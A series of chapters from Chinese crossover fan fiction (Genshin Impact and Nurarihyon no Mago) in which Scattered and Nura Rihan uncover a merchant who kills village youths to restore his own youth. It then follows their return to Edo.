—— 因为重头戏在晚上,昨天能找过的地方也找了一圈,再想深挖在无头无绪的情况下性价比实在不高,两人便留在了西川府没有外出。 在房里能打发时间的事情并不多,但奴良鲤伴也没兴趣和那些以后也打不上交道的贵族富商逢场作戏,好在少年喜苦,请侍女上了茶道所需的器皿和和果子后,他在侍女意外的视线中拿起了茶具。 “没想到你还会这些事情。”散兵轻轻抿了一口,抹茶厚重的苦涩弥漫在舌尖,又泛上淡淡的、不令人讨厌的香甜。终于品尝到满意的味道,他的面上少见的柔和,眉头舒展,眼眸浅浅眯起,又捧起杯子啜饮起来。 “毕竟我的母亲很喜欢亲自做些事情,即使兴趣所致,也是不喜欢把所有事都交给他人。”见到少年如此放松,奴良鲤伴也心情愉悦地为他送过刚刚沏好另一杯。这些种类不同的茶品质俱佳,即使西川是有名的富商,想要准备这么多种类也不容易,可见在待客准备上还是用了心的。 “听起来是一位能干的夫人。”散兵心情颇好,也微笑着附和了一句,他并非是不会以符合世人期待的态度交流,只是没有必要而已,但现在总不至于享受着对方的服务,还要出言不逊。 奴良鲤伴了挥退了侍女,在她退出去关上门后才笑眯眯继续说道,“虽然这些也不错,但是妖怪的茶要更不一样些,上次匆匆就被老爹赶了出来,这次回去我一定要带你去尝尝。” 散兵在侍女出去后,也更显得懒散了几分,他垂眸捧着杯子:“那我就等着了。” 如此也算是度过了愉快的一天,唯一令奴良鲤伴意外的是那碟和果子竟然完全没被碰过:“你不喜欢吗?” 大概是心情好,少年懒散的声音少了几分嘲弄,“谁会喜欢那种腻腻歪歪的东西啊。” 等到天色略显暗淡,侍女才来通知晚宴的开始。两人相携赶到时已经略迟了几分,席间空位寥寥无几——也不知道是侍女通知迟了,还是有什么别的原因。 在侍女的引领下于中游的位置落座,奴良鲤伴也知道了老爹在西川先生这边大致的形象——不是什么大 14. 房间 《[原神+滑头鬼]风之归处》全本免费阅读 散兵抬眸望去,上座的照姬并未对此处给予太多关注,她依旧是那一副进来时含笑的模样。 联想到那晚见到的照姬,她也几乎是不怎么动的,宛如精美的瓷像,流露出的情绪波动还不如身旁服侍的侍女。 “真有趣,一位‘人偶’邀请了另一位人偶。” 奴良鲤伴听到了他的感叹,也顺着他的目光看过去,摩挲了一下下巴,想到了什么事情,叹道:“一些没必要的规则便是如此,在这方面人类远没有妖怪来的自由。” “我倒是觉得并非如此。”散兵瞥了他一眼,“规则再多也不至于能把人心磨灭,有些东西看起来脆弱,实际上却坚定胜过一切。” 他低头看向手中的字条,字迹清秀隽永,显然主人练习了不短的时间,“但同样的,有的时候想要摧毁它也很简单。” “所以才不能让注视着人失望啊。” 散兵刚想习惯性地嘲讽一句对方的天真,但手指触及茶杯,轻哼了一声又放弃了。就让这么家伙短暂的得意一下吧。 …… 晚宴将要散场,这些贵客们三三两两的结伴准备离去,散兵拉着奴良鲤伴穿梭来去,几步便混入人群,不见踪影。 这样的环境显然不是侍女能够胡乱冲撞的,只能慌忙地找寻着少年的身影,在她百寻不得,正打算前往两位客人所在的客房之际—— “你在找我吗。” 幽幽的声音自身后响起,侍女的只觉得心跳仿佛漏跳了一拍,霎那间寒意从脚底迅速蔓延至全身,在她尖叫之前,少年脚步轻巧的一移,便从她的身侧绕至了前方,微微侧头,装若不解,“怎么,难道我理解错了?” 侍女抚摸着胸口,平复心跳的同时颤颤巍巍地看着少年:皮肤看起来白皙柔软,但并没有失去应有的血色,神情疑惑间又夹杂着不耐,最重要的是,身上也没什么奇怪的血迹…… 她松了口气,又看向刚刚少年出生的时间,那处正好是一根支撑用的廊柱所在,灯笼发出的光正好为其形成了一片阴影,或许正是如此刚刚自己才没注意到少年吧。 “抱歉。”她先是行了一礼,“小姐怕客人寻不到路,便令我为客人带路。” “那就,”紫水晶的眸子闪烁了下,侍女无由来地感到了一瞬不安,“有劳了。” “……请跟我来。” 听到侍女略显颤抖的声音,得逞的散兵唇畔扬起了几分笑意。 与此同时,借助刚刚的视角盲区,发动了明镜止水的奴良鲤伴走在他的身旁,心知他是在报复从宴时侍女便一直盯着他,只能无奈了笑了笑。 但没走多久两人就发现了不对——这得感谢奴良鲤伴第一晚坚定的夜间行动——这并非是那位照姬小姐的院子。 看来今晚就能结束了呢。奴良鲤伴眸底划过一丝沉思,他加快了些步子,将红线扯到最大。 可惜红线的长度到底有限,他也只是比侍女远了一点点而已。不过这也足够发现不对劲了,他回过头,就看到同样若有所思地打量着那处的散兵。 “等下开门后装晕。”鲤伴凑近了少年低声道,他大概已经明白了对方想要做什么。 有问题直接解决了不是更简单?散兵用眼神和不加掩饰的杀意示意道。 他见过了太多奴良鲤伴这样的人:明明可以简单解决的事情非要刨根问底,谁要听那些人理由啊?难道有苦衷的刀要更值得同情吗。因果相偿,既然决定了下手就应该有被收割性命的觉悟。 不过对方这次准备怎么说服自己?散兵有些好奇地想到,如果是什么良知道德,他可是—— 左手被抓住,轻轻摇了摇。 这样撒娇的动作在孩童身上或许会觉得天真可爱,但是一想到身边的是黑发的大妖怪,他几乎能想到对方此刻的样子了:总是半闭着的金眸大抵已经都睁开了,盛着笑意的眼眸注视着他,这样的动作半是诚恳,半是戏谑……但着实很有效。 “拜托啦。” 温热的吐息喷洒在耳侧,带起一片红晕。 “无聊的计划。”少年垂眸,低声嫌弃,但也并未拒绝。 侍女走至门前,果然来到的并非是照姬的房间,她拉开门,散兵还在犹豫何时才是正确的时机时,下一瞬便不得不 15. 另一枚宝石 《[原神+滑头鬼]风之归处》全本免费阅读 借着开门的间隙,奴良鲤伴提步纵身轻盈地跃入房内,没成想一转身就接收到了少年的瞪视,他下意识露出了一个安抚性的笑,后才想起来此刻自己的身影并不为人所见。 他看到人影不是自己预想的体格后就有了猜测,只是情况并不容许自己细细讲解清楚,况且——讲解清楚了也没办法嘛。 略有些心虚地侧了侧身让开位置,老人——或者说称病的西川先生——越过了走向门口,注视着沉睡在灰尘中少年人的视线是不加掩饰的狂热。 西川喜一近乎贪婪地抱起少年,但并不显得狎昵,而是一种更纯粹的情绪,如同贫穷之人见到了价值连城的珠宝急忙将其拢入怀中,生怕慢一秒就错过了这机会。 “真是让人难以不想多啊……”就站在距散兵不远处的奴良鲤伴自然没错过了老人弯下腰时露出的小臂,皮肤紧致肌肉有力,这可不应该是人类老年应有的样子。 如果顺着这种思路来看的话,今晚的事情更像是歪打正着了……首先被邀请而来的适龄青年绝非是为了照姬,而是为了西川喜一自己。至于本以为的要挟,大概只是纯粹的因为“更符合要求”。 不过这要求总不应该是年龄,虽然不确定散兵的真正年龄,但是从他的话里看也并非是真正的少年。嗯……不过如果只是单纯图谋青春的话,应该算是超额满足了? 奴良鲤伴看着西川喜一挥退了捧着空盆的侍女,又如同打开柜子一样拉开了墙上悬挂的花卉图,一边跟着走进露出的阶梯,一边漫不经心地想着。 很快这种闲庭信步的慵懒被凝重替代了——血腥气从淡到浓,比起来闭着眼假装沉睡的少年,他能目睹的更多:明显是后期修建的部分与兔妖挖掘的部分接轨,随之而来的便是无声的惨剧,西川手里提着的一盏小灯只能照亮他周围的一小块区域,但仅此就能看到散落的骨骸。更远处,凭借着妖怪的视野,更是可以鲜明地看到墙壁上以某种规律嵌着的白骨。 两年。奴良鲤伴深呼吸了一口气,这真的只有两年的积累吗……能看到的骨骸上并没有留下太多时间的痕迹,但是这种数量,对于这样规模的小村子,还是限定的青年的情况下,还是太多了。 也许和那位委托兔妖的阴阳师也有关吧。不,墙壁上那些白骨已经可以把“也许”删去了,如果没有任何目的,这样多此一举的行为完全没有必要。 思索间步伐一转,奴良鲤伴注视着这间可以称为大厅的地下房间,眸底不由染上阴翳。 ——血腥气前所未有的浓烈起来,它的源头正在房间的角落,修建得如同汤屋里一般浴槽脱衣所一应俱全,而让人意识到此时并非真的身处汤屋的,恐怕便是冒着热气的池水并非温泉水,而是鲜红的血浆吧……这种和汤屋一模一样的陈设反而带上了一种难以形容的怪诞。 而这一池血浆的代价要远比汤屋高昂得多。 妖怪中自认为高人一等的不在少数,如果他们老实倒也无妨,奴良鲤伴理解这种心态,对于大部分妖怪来说,人类都太脆弱了,即使是奴良组也不会强行要求他们改变自己的观念。但其中嗜血好杀将人类视为取乐工具与食物的不分,这种不守规矩的决不允许存在。 或许是人类的那部分血影响吧,如果说妖怪之间的杀戮是难逃天性,这种人类因私欲对同类之间的杀戮践踏的行为更令他不由涌上一阵恶心。 这种愤怒在西川喜一抚摸上因配合自己而任由施为的少年脸上时达到了顶峰。按捺不住的杀意驱使之下,弥弥切丸悄无声息地出鞘—— 血液溅射,却并非自己预想的模样。只见喷涌而出的血液淋湿了少年的衣服,蓬松的头发同样被血液打湿,让他看起来多了几分狼狈。但鲜红顺着发丝流淌,在白皙的脸颊上蜿蜒下痕迹,带着笑意的唇不知道是同样被溅起的血液染红,还是在厅室内微弱灯光下显得愈发红润。 如果只是看外表,染血的人偶无疑是脆弱的、可怜的,但身在这种情况下,面对着那种杀意与恶意交织—— 真是美丽。奴良鲤伴双眼微睁,出鞘了几寸的弥弥切丸不自觉间归鞘,此刻他听到自己的心脏有力的跳动声,第一次明白了母亲为他讲述的贵族所追捧的“一期一会”的美。 “我以后可是会一直带领奴良组走下去的,这种脆弱易逝的东西才不适合我……嗯,樱花除外。” “真是美丽。” 年幼时在庭院里樱花树下的抱怨和如今的喃喃低语好似重合,但仅一瞬,他便想起正如可怜是假象,少年实际上也并不脆弱。 如此,幼时的话倒也没错。 …… 果然如此。散兵不出意外地摸索到了想要的东西,食指中指配合轻巧的把摸到了硬物带了出来,伴随着西川喜一身躯的倒地,掌心沙漏状的无色宝石也在一瞬间被染成了晶莹剔透的血色。在明白其作用的同时,老者令人作呕的野心也被明晰。 “哈,我还以为是什么,原来连苦衷都不是啊。”带着讽意的声音前所未有的森然尖锐,即使是已经亲手打破了愚人的妄想,也难以浇灭心中被燃起的火焰,“明明已经得到了不知道多少人都难以企及的东西,却还在妄想着更多啊。” “多少鸟雀连羽翼丰满的那天都等不到,明明已经拥有过了天空,还在奢望着更多。人类弱小至此,却还对永恒如此追捧,真是可笑。” “喂,散兵……”奴良鲤伴走到从石台上跃下的少年身旁,犹豫着开口,他能感受到少年身上的愤怒,但其中还夹杂着几分被掩饰得并不好的悲伤,这让他不知道自己是否合适开口安慰。 “在嘲弄世人这方面,命运当真无可匹敌,曾经渴望的东西总会在不需要的时候送至你的面前。” 散兵半侧过头,奴良鲤伴却微微一怔,那双紫水晶一样明锐的眼眸此刻如同被云雾笼罩的星空,那份难过果然并非错觉。 但云雾并未有化雨的想法,所以少年只是冲着血色浴槽的对面扬了 16. 尾声1 《[原神+滑头鬼]风之归处》全本免费阅读 “真可惜,怎么看我也是被你胁迫的可怜人士吧。” 在互相打趣间,来客也露出了真面目,既是意料之内,也是意料之外。 来客穿着一身繁琐的和服,不应该在这样粗糙土地上行走的衣摆在行走间拖在地上沾染了不少尘土,顺直的头发自然垂落,卸去了大多数的发簪,只留下了寥寥几个以作装饰。来者自然是西川喜一唯一的女儿照姬,这结果属实不令人意外,如果真的还有人知道这里的存在,除了那位阴阳师,恐怕也只有这位宅邸未来的主人了吧。 令人意外的是她的头发,和晚宴时见到的不同,与前夜窥见时的一样:与那花一样面容格格不入的苍苍白发自头顶蔓延而下,不过短短时光,竟然已经长至她的肩头。 这样反常的样子,比起来人类,到更像是妖怪。 “我这样子看起来很像妖怪吧。”照姬的声音不像在宴会时那番自信从容的模样了,她的声音平淡,听起来不悲不喜。 “虽然有些失礼,但这的确不像是病症所致。”虽然说着要当受害人,但奴良鲤伴还是从书架前走出站到了照姬和散兵之间。 “这的确不是。”照姬走到了西川喜一身边,那件粉丝的和服被湿润的泥土染上了锈红,她看了一眼地上父亲的尸体,仍然是那番无波无澜的样子,“他死了吗。” “嗯……当然。”奴良鲤伴打量着她,有些拿捏不准她的态度,但他不会否认事实,“西川先生便是村子里‘妖怪作乱’的罪魁祸首。” 散兵捏着成缕的发丝把它们揉开,觉得这幅场景有些有趣,真正的妖怪在解释着妖怪作乱,像妖怪的人类在认真听着。倒颇有一些位置错乱的感觉。 “啊。”她苦笑了一声,但由于过于平淡,只像是普通的应和了一声而已。紧接着她举起手臂,抚开厚重的袖子露出了自己的手臂,“你们不必向我解释,作为最初的受害人,我比你们都清楚得多。” 这间地下厅室并不小,但或许是因为维护的人只有西川喜一一个人,所以烛火并不多,除了书桌那边设置的烛台较多一些,其他地方也只是面前够用而已。 因此正站在一盏烛台前,背着光的照姬的手臂轮廓便更显眼了:那露出的小臂上并非是少女应有的平滑,相反干枯的近乎贴着骨头,皱巴巴的皮肤带来的是坎坷的轮廓。 “我现在看起来果然很像是妖怪吧。”她从奴良鲤伴的眼神中确认了对方已经看到了自己如今的样子,重新将袖子放下来,抚平褶皱,又施了一礼道,“虽然这话传出去恐怕要让人耻笑,但……我父亲死了,我很高兴。” “只是,这样的我也失去了活下去的可能了,拜托您也杀了我吧。” 她恳切的目光看向了奴良鲤伴,尽管一身血色的是远处的少年,但比起来佩刀的青年,动手的人选自然是毫无疑问的。 这倒是出乎奴良鲤伴的意料了,他设想过很多情景,被人围住啊女子呜咽到晕倒什么的,但是这种主动求死,反而令人棘手了起来。 “你这家伙还真是懦弱的可以啊。”散兵在奴良鲤伴想到合适的措辞前轻笑了一声为他解了围——如果算的话。 “如你所说,伤害你的人死了,作为受害者的你反倒要让恩人手染无辜者的鲜血吗?” “不,我并无此意……”她不甚连贯地说道,“我——” “也不必这样说。”奴良鲤伴安抚性地冲着照姬笑笑,“我相信你没有这个意思。” 转过头叹了口气,对着来自异国的少年说道:“啊呀……虽然这样说让我有些难堪,但就算是江户,对于这样的情况人们也会觉得恐惧,进而演变成排挤。” 人言可畏,但当发现被欺压的对象也只是弱小的时候,只有人言反倒已经是足够的幸运了。 他终究还是没有说得太过直白,但语下的深意不必探究也很清楚了,“总之,就是这样。更何况人类之中对女性总是更严苛一点呢……” “不过照姬小姐也还是再考虑一下吧。”奴良鲤伴劝道,“虽然不能保证江户就一定没问题,但是托辞重病的话,也并非没有被接受的可能。” “我……”照姬刚刚开口,就看着那个少年径直朝着自己走来,或许是那一身鲜红太过可怖,她一时张了张唇却没能发出声音。 “所以说。”少年面露不耐地从她父亲的尸体上抓出了什么 ,紧接着,她看到父亲的躯体似乎一瞬间瘪塌了许多——这绝非错觉,她可以肯定——一股清凉涌上,她本能地摸向手臂,是光滑的!她已经许久不曾有过的体会! “这样就可以了吧。” 泪水一瞬间涌出,模糊了视线,第一次打破了绝望后的淡漠,照姬哽咽着:“十分感谢,我——” “感谢就不必了,只是把你的东西还给你而已。”散兵扯了扯线,“你也满意了吧。我们可以回去了吗,这一身,恶,真是黏死了。” 奴良鲤伴虽然并不觉得散兵会伤害那位姬君,但刚刚还是不免担忧——这位可怜的小姐恐怕早已濒临崩溃了吧——但他是什么时候能做到这样的?是桌上那本书么? 还有那名阴阳师,这堆书里也许还能有什么蛛丝马迹。不过今天也确实不合适再继续下去了。 “准备衣物的事情就拜托了。”在被带着路过照姬的时候,奴良鲤伴毫无负担的委托主人家。 “啊!”沉浸在免于被当成妖怪的结局中,照姬回过神,“是,当然。嗯……交给小初吧,父亲的所作所为她也清楚……我先让她支开路上的下人,请稍作等待。” 两人身上的血迹几乎明晃晃的在宣告发生了什么,下人并不都是可信的,摆脱了妖怪之嫌再卷入命案传闻还是饶了她吧,在这上面她只会相信从小陪着自己长大的小初。 衣物倒是并不困难,虽然家里没有年龄相仿的男性,一般也不会客人特意准备 17. 尾声2 《[原神+滑头鬼]风之归处》全本免费阅读 热气蒸腾,水雾缭绕,灯笼的光透过丝绸的布面,光线本就已经足够柔和,在雾气的加持下更显得朦朦胧胧。 “不愧是有名的富商。”奴良鲤伴头顶着一块白色毛巾,全身浸泡在热水中,双眸惬意地眯起,“虽然住在这样的小地方,但是完全没有苛待自己啊。” “不如说正是在这种地方,才能成为一种附庸风雅的谈资吧。” 散兵将头发洗干净花费了一番功夫,此刻才姗姗来迟步入池中,他将自己浸入水中,水温适中,温暖而不烫,肌肤瞬间被水流温和的包裹,紧绷的神经逐渐放松,因为那枚迟来的石头而产生的浮躁似乎也被水流裹挟着带走,只剩下惬意和满足。 “西川的品味确实得到了宾客们的一致好评。”奴良鲤伴回忆了一下席间听到的内容,对庭院的赞美确实不绝于耳,虽然没亲眼去看看,但是仅从浴室的别具匠心上,就能猜到西川喜一对庭院的景观自然更是精雕细琢。 “你是怎么让西川小姐恢复的?”一提到西川,奴良鲤伴忽然想起了对方的举动,难道这种术法这么容易学的吗,那倒也不奇怪西川能做到这样的事情了。 “啊……”散兵靠着浴池池壁,打了个哈欠懒洋洋地侧过头看向他,“原来你没看到啊。” 我们看的书又不一样怎么看到。奴良鲤伴无辜地眨了眨眼。 水雾蒸腾,热气氤氲,这种氛围让散兵陷在宁静惬意之中,他一时没想起来奴良鲤伴具有的夜视,只当地下光线太差,对方没有看到,轻轻“嘁”了一声,伸出手,沙漏状的血色宝石出现在他的掌心。 散兵轻轻抛了一下这块宝石,“很可笑吧,就在他的心脏里喔,明明想要的就在自己身体里,却一无所察。” 朦胧暧昧的光线之下,剔透的宝石更显得透亮,纯净的红宝石被抛起,下一瞬落在白皙细嫩的掌间,被修长的手指捏在指尖漫不经心地玩弄着,两相映衬,只显得红色的愈加红润,白皙的越加白嫩。 “嗯……” 不知道何时睁开的金眸定定地注视着少年指尖的宝石,散兵有所感知,眼眸一动,自以为清楚了奴良鲤伴在好奇什么,心情颇好的他解释:“别这样看着我啊,我可没兴趣特意带着这种东西进来。” 他的捏着宝石的手指轻轻一摩擦,那块沙漏状的宝石就如同沙子一般在他指间流散了,接着,他的手掌放平,从小指起的四指随意地勾动了几下,宝石又重新浮现在他的掌心。 “我也是刚刚才发现的,唔,之前那块现在也能这样做到了,倒是不用担心怎么携带这种无聊的东西了,我可不想被当成什么无聊的宝石商人啊。” 察觉到这会儿大妖怪安静的不正常,他眯了眯眼眸,透过水雾望过去—— 宛如晨曦一般金色的眼眸专注地注视着他,或许是水雾太过朦胧,恍然间有种那双眼睛中只有自己一个人的错觉。 可惜,仅从对方天真的理想来看,自己这种恶劣之徒和他绝非一路人。 勾了勾唇角,散兵轻柔地问道,“你在想什么,奴良。” 这轻柔却如冰水一般的声音,让奴良鲤伴一瞬间回神,如同石子打破了水面,金眸漾起笑意,抱怨道:“诶呀……这个时候直接叫我的名字才更合乎时宜吧。” 这幅油腔滑调的样子都要比刚刚来的顺眼,不过难得闲暇,他也懒得计较太多,阖上了眼懒懒地的刺道:“无聊。不过我得提醒你,鸟雀炫耀尾羽的时候,吸引来的还有顽劣之徒喔……还是把羽毛好好收回去吧。” “不管是什么目的,吸引也都是吸引嘛……”奴良鲤伴小声地嘀咕,在少年开口之前,把话题转上了正轨。 “话说,我本来就觉得有些过于巧合了,那位阴阳师,比起来西川请来的,更像是抱着目的主动诱导呢。现在看到那块石头,更坚定了几分啊。” “呵……”散兵嗤笑一声,但也默认了对方转移话题的举动,“这才第二个,尚且不能判断更多,毕竟,这次怎么看都是你主动要往上面凑吧?当然,如果是真的有人别有居心,恐怕没多久就会有第三块送上门了。” 他在从西川的心里发现这块石头的时候也有过一瞬间同样的想法。但条件还是缺乏的太多了:首先奴良鲤伴与自己被迫绑定就是一个偶然,不管是算计的是那个腐朽的神灵意识,还是被偶然传送过来的自己,都没有接触西川的可能,其次,如果真的有人能安排的这么准确,一开始他就不会有来到这里的机会,以那个半成品头脑简单的程度,怕是会被玩弄得团团转吧。 不过—— “你是怎么确定那位客人就是阴阳师的?”他在奴良鲤伴询问小初的时候只是有所怀疑,但是并没确凿的证据,两人掌握的信息应该一致才对。 “扇子啦。”携带着阴阳师打造的退魔刀的大妖怪闭着一只眼睛,面露嫌弃地挥了挥手,“就阴阳师那些家伙喜欢故作神秘用乌竹做扇骨,不够花里胡哨的扇面估计是那个家伙的咒术吧,总之都是一些渲染气氛的东西。” “你倒是对阴阳师事情颇为熟悉。” “吃完饭去书房小食一下也很合理吧?”奴良鲤伴耸了耸肩,十分自然的道。 “如此一来,事情也很清晰了呢。” “恐惧衰老的西川喜一在两年前遇到了某位阴阳师,在后者的帮助下,西川喜一开始借助药物迷晕村子里青壮,再将他们……作为血池的原材料,通过浸泡身体掠夺生命力。之所以看起来是妖怪所为,恐怕兔妖挖地洞逃不开关系。” 奴良鲤伴摸了摸下巴,“但是他那副半年轻半年老的身体是怎么回事儿,如果他不知道心脏里有那东西,应该也用不了吧。” “等明天问问她不就清楚了。她说自己是第一个受害者,应该或多或少知道一些什么吧。” 温暖使人倦怠,散兵又打了个哈欠,漫不经心的说道。 …… “……情况便是如此,不解之处,还望劳烦解答。” 奴良鲤伴坐在照姬的对面,散兵穿着一身蓝色的和服坐在他旁边,照姬面前无遮无掩,但发生了这样的事情后,那些礼节也不重要了。 “的确是药的作用。不过如今想来,‘第一个受害者’或许不太恰当。”照姬的表情比之前生动了许多,但提起这件事情的时候仍是淡淡的,她整理了一下语言说,“我从出生起身体就不太好,所以一直以来服用各种补品已经习惯了。那个自称是父亲老友的男人,父亲向我介绍时只说他的家传医术效果颇好,特意请他上门为我诊治。” 她苦涩的笑了一下,“起初的确略有好转,那段时间父亲日日来询问我的感受,见到他欣喜我也同样感到兴奋,以为终于不用让他担忧了。后面想来大概我只是为父亲当了试验品吧。” “那种感觉……也不怪父亲最终如此,并非是单纯地焕发青春,更像是‘掠夺’,我还是我,但我那时候的气力大概已经接近男子了吧。对于一个体弱的人,这种感觉的确很好,而我的体弱,也正是遗传自父亲。” 奴良鲤伴看向散兵,后者明白了他的意思,“不太一样,它更像是直接扭转更改,不需要另一份代价,看来和它无关。” 碍于照姬在场,散兵并没有把话说得很清楚,但也足够奴良鲤伴了解了。 “但是后来西川……先生,”奴良鲤伴顾及了一下照姬到底是西川喜一的女儿,并没有直呼其名,“给我的朋友传递字条,似乎并不是为此?” “因为他已经接受不了这种慢慢地改变了。”照姬的脸色有些灰暗,“那位医师——不,或许阴阳师更恰当吧——他在前一段时间离开府邸后便寻不到踪迹了,那段时间父亲的情绪很不好,所以……他想更直接一点,给自己换一具躯体,再与我成婚,如此家底也不会落入他人之手。” “这也是那个阴阳师给出的手段?”散兵之前一直冷眼旁观,这时候突然主动问道。 虽然这个阴阳师的目的还未能确定,但是不管是有意还是无意,既然算计到了自己身上,若是遇到了自然也不能少清算这笔债。 “父亲并不会和我说这些,毕竟我没成为他的第一个……死者,也是因为我还有用吧。”她摸了摸自己重新变回乌黑的长发,“如果不是需要以为我选取夫婿的由头邀请宾客,恐怕我已经是寻不齐尸骸的枯骨了。” “那些书应该对你们有帮助,大部分是那个阴阳师带来的,剩下的则是我父亲从各方门路收购的,届时我让仆人把这些都送到这位先生的府上吧。” “那就多谢了。”奴良鲤伴诚恳道谢,那些书数量不少,就算是妖怪也只有两只手而已,也许让散兵帮忙能够勉强带走,但是他还不想用这种事情为自己赢得一次躲避球游戏。 奴良鲤伴又问了一些(在散兵看来)无关紧要的问题,在照姬一一给出了答复后,就打算告辞离开。在临走之际,他想起来什么似的转过身,睁开了闭着的眼眸认真道:“之前的建议依然有效喔,如果要一个人掌管家业的话,在江户这种开放一些的地方,总比在这里好。” 照姬微微一怔,缓缓行了一礼,声音带着不明显的颤抖地感激道:“十分感谢,我会好好考虑的。” 此间事了,两人也不打算在西川府多待。西川喜一既然已死,这后面的宴会自然的办不下去了,照姬也有得忙碌,不如打道回府,反正也没什么行李仆人,来去倒是方便得很。 在小初的带领下走出西川府,散兵悠悠道:“你这家伙,倒还真是好心啊。” 奴良鲤伴还沉浸在思绪里,反应了一会儿才知道他在说什么,“毕竟这地方也不 18. 回江户 《[原神+滑头鬼]风之归处》全本免费阅读 或许是从来到这个世界短短几天就发生了这么多事情,回到江户这一路上平平稳稳,无事发生竟然让人有些意外。 显然有这样感受的并非只有他一人: “……明明平时也是这样,但是不知道为什么突然就是一阵安心呢。”奴良鲤伴望着近在眼前的江户城门,捏着下巴困惑道,“难道是最近离开江户的时间太久了?” “你的生活平时也这样‘多彩’吗,那这座城市着实不易。” 散兵瞥了一眼自己茶色的衣袖,只觉得已经丧失了谈论的心情。看来她的存在也并非毫无用处,不,如果是稻妻发生了这种事情,自己根本不会停下脚步,更别说主动凑上前了。 “毕竟江户是最繁华的城市嘛。”与去的时候不同,两人不着急赶路,走走停停地走了一日多。此时天光将明未明,城门大抵还没开放,奴良鲤伴熟门熟路地带着散兵朝着里奴良宅最近的方向走去。 他的声音一如既往的散漫,“繁华与阴影相伴相生,所以才需要阴影里的奴良组嘛,无主珍宝总是会被人觊觎的。” “这种热闹的地方对妖怪来说也很舒服……唔,老爹也一定是因为这种理由才会在江户安定下来吧。” “没有神明指手画脚固然不错,但是被妖怪治理……倒也难说哪边更倒霉呢。”散兵短暂地思索了一番,凉凉地笑道,“呵,还好现在都与我无关了。” “说治理就太过了吧。”城墙挡住了道路,奴良鲤伴用眼神示意,“走?” 有了风元素的神之眼,这应该是最方便的地方了。 散兵点了点头,飞在空中轻易地就跟随着只能踏实翻墙的奴良鲤伴跃过了高高的江户城墙。 “……唉,所以真的不能怪我第一反应是天狗,这种驾驭风的能力有时候真让人羡慕。”轻飘飘落地的奴良鲤伴抱怨着,“刚刚说到哪儿了?我不太明白你们那里的神明是什么样啦。但是奴良组只是个守卫者,这座城市要怎么发展,还要看人们自己的决定。” “妖怪们会做的只有把那些试图扰乱秩序的混球丢出去而已。” “这才勉强像妖怪会说的话吧。” 虽然会真心保护人类城市的妖怪就已经特立独行了,即使是那位宫司大人,会照应稻妻也不过是追随着她的神明而已。 “你到底对妖怪有什么奇怪的印象啊。”奴良鲤伴失笑道,“明明爱好风雅的妖怪也不在少数。” “比如,你就是其中之一?” “嗯哼,很遗憾,”奴良鲤伴促狭地眨了一下眼睛,“当太过老实的‘贵公子’可是会错过很多机会的。” 散兵哼笑了一声,装作无奈地摊了摊手,“你倒有自知之明。也恰好证明了我对妖怪油嘴滑舌的印象准确无误。” “你怎么会有这样的印象。”奴良鲤伴无辜地说道,“明明之前才见过了那只小兔子。” “愚不可及、被人卖了还要给人数钱,这岂不是还不如油腔滑调。” “或许是方便我随便说些什么,你就乖巧地听之任之吧。”奴良鲤伴屈起手指抵着下唇,做出一副思考的样子,“这种时候还是老实的印象更容易成功吧。” “啊,那你可得等着了。”散兵对他的话语并没有放在心上,只是懒散地应道,“我已经记住你要说的话了,那句话怎么说来着——太早暴露野心可是会吃亏的。” 奴良宅所在的地方并不远,奴良鲤伴上前推开自家的门,带着散兵朝着屋里走去,一进到院落里,就听到了断断续续传来的三味线声,又走了几步,他毫不意外地看到了坐在院子里走廊上的雪丽。 “哟,姐姐,”奴良鲤伴上前打了个招呼,“真早啊。” 雪丽收了琴抱在怀里,“你怎么在这儿,我听说你不是被派出去了?” “哎呀……真是的老爹他果然没安好心啊。”奴良鲤伴扶额,“总之事情解决了,我就回来了。” “对了,过两天西川家的人会来送一些书,和我最近的事情有关,就……”奴良鲤伴思索了一下,决定一事不劳二主,“交给首无吧,他看了应该就明白了。” 雪丽注意到了他话里的意思,“你这两天还要出去吗。” “呵呵。”奴良鲤伴轻笑,愉快地眯起了眼眸,“我相信首无嘛。” 他一把拉过散兵的手,“我们就先离开了。” “这分明就是发现我了吧。”首无的头幽幽地从隔壁院子的墙后飘了过来,目送着二代目的身影远去。 “那孩子是谁?” 首无的头稳稳地落在了跟过来的身体上,“啊,那个是被鲤伴大人牵连的倒霉家伙。” “牵连?” 这并不是什么值得隐瞒的事情,首无大致描述了一下自己知道的,“……就是这样啦。你听过相似的事情吗?” 雪丽回忆了一下,不确定道:“没有吧。人类术法太复杂了,驱使命令土地神的我倒是记得有几个,这种……” 她摇了摇头。 “那个孩子很强,难得鲤伴竟然没想着拉他喝交杯酒啊。”为人之类的,看鲤伴的样子自然也不用担心。 首无知道的更多一些,“毕竟是还要回去的吧?” …… 在木质走廊上跑动,难免发出咚咚的声响,院子里一些在各处散落着的妖怪把目光移过来,见到熟悉的声音,又纷纷回归了原状。 散兵复杂地看着池塘里探出半个脑壳,扫视了一圈在看到奴良鲤伴后又缓缓缩了回去,他控制住想要抽动的嘴角,“喂你……” “你这小子!” 拐角的声音打断了散兵刚刚想要说的话,奴良鲤伴也及时收住了想要拐过去的脚步。 散兵跟着停下来,他回望过去,见过一面的奴良滑瓢护着身边的女人,正满头黑线地看着两人。 那个女人穿着一身做工精致的和服,眼角略有些皱纹,并不影响她举止端庄优 19.量身 《[原神+滑头鬼]风之归处》全本免费阅读 “你这家伙还真是得寸进尺啊。” 与璎姬和奴良滑瓢告别后,奴良鲤伴一时维持着动作没有变化,似有所感。散兵对他又在想什么毫无兴趣,曲臂猛地向后一撞,满意地听到了一声闷哼,挑了挑眉挥开了还搭在他肩膀上的手掌,脚步一旋,转过身下颌略抬,用明亮的双眼睥睨着他。 这副身躯若是真要说有什么缺点,便是身高着实不妙,太容易被当成少年如此对待。 但也有人有不同的想法——可爱,真像一只得意洋洋的小猫。 被那双紫水晶一样眼眸注视的人忍不住想到。不过,话虽如此—— “嘶——你还真是毫不留情啊。”奴良鲤伴揉了揉被击中的地方,半真半假的佯装委屈道,“我们好歹也经历了这么多,还以为我们已经是朋友了呢。” “朋友……哈,和我做朋友的可都没什么好结果。” 眼眸低垂不过一瞬,但还是被奴良鲤伴捕捉到了。没等他过多的思考分析原因,那双眼眸一动,散兵眯起眼睛,唇角扬起的弧度里流露出许些不怀好意。 “话说回来了,我们经历这么多到底是因为谁啊。” 奴良鲤伴举手投降,“我错了。不过这也没办法,好奇心嘛,人皆有之。” 散兵不依不饶,嘲讽地轻笑了一声:“怎么,就算你不对我感恩戴德,也该保持两分感激吧。喏,你可以开始表现了。” 想起母亲刚刚说的话,奴良鲤伴心思一动,笑眯眯道:“你说得对,请一定给我一个机会。” —— 